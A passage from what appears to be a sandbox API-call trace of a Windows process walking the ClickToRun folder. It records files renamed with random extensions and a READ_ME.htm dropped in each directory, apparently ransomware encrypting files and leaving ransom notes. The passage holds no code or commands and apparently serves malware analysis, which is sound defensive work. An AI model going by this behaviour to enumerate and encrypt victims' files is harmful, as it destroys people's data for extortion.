nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E728F99D-05D1-4020-9ECE-6DE2EC414166", cAlternateFileName="E728F9~1")) returned 1 [0140.321] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1 [0140.321] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7a4c80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.322] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0140.322] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0140.322] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0140.322] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.322] SetErrorMode (uMode=0x0) returned 0x1 [0140.323] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun", lpFilePart=0x0) returned 0x27 [0140.323] SetErrorMode (uMode=0x1) returned 0x0 [0140.323] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.323] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.324] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="634EF343-54B0-4B56-9FD9-A785E3F22968", cAlternateFileName="634EF3~1")) returned 1 [0140.324] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9e01d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2f9e01d0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4e1fd840, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x7c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml.1nwo7w", cAlternateFileName="DEPLOY~1.1NW")) returned 1 [0140.324] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2661ba40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2661ba40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4e249b00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x7c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml.q20imu", cAlternateFileName="DEPLOY~1.Q20")) returned 1 [0140.324] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7d11070, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7d11070, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4e3544a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml.o1gru5", cAlternateFileName="DEPLOY~1.O1G")) returned 1 [0140.324] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e6e65a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e6e65a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E728F99D-05D1-4020-9ECE-6DE2EC414166", cAlternateFileName="E728F9~1")) returned 1 [0140.324] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1 [0140.324] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e7a4c80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.325] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7589c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7589c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0140.325] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0140.325] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4e7a4c80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e7a4c80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0140.325] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.325] SetErrorMode (uMode=0x0) returned 0x1 [0140.326] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968", lpFilePart=0x0) returned 0x4c [0140.326] SetErrorMode (uMode=0x1) returned 0x0 [0140.326] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e3c68c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e3c68c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0140.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e51d520, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0140.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0140.327] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.327] SetErrorMode (uMode=0x0) returned 0x1 [0140.328] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968", lpFilePart=0x0) returned 0x4c [0140.328] SetErrorMode (uMode=0x1) returned 0x0 [0140.328] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.328] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.329] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e3c68c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e3c68c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0140.329] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e51d520, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.329] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0140.329] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e51d520, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e51d520, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0140.329] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.329] SetErrorMode (uMode=0x0) returned 0x1 [0140.329] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16", lpFilePart=0x0) returned 0x55 [0140.330] SetErrorMode (uMode=0x1) returned 0x0 [0140.330] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\en-us.16\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e3c68c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e3c68c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.330] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e3c68c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e3c68c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.330] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4e3c68c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5770, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml.9tat37", cAlternateFileName="MASTER~1.9TA")) returned 1 [0140.330] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e3c68c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4e3c68c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e3c68c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.330] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0140.331] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0140.331] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0140.331] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.331] SetErrorMode (uMode=0x0) returned 0x1 [0140.331] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16", lpFilePart=0x0) returned 0x55 [0140.331] SetErrorMode (uMode=0x1) returned 0x0 [0140.332] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\en-us.16\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e3c68c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e3c68c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4e3c68c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e3c68c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4e3c68c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5770, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml.9tat37", cAlternateFileName="MASTER~1.9TA")) returned 1 [0140.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, 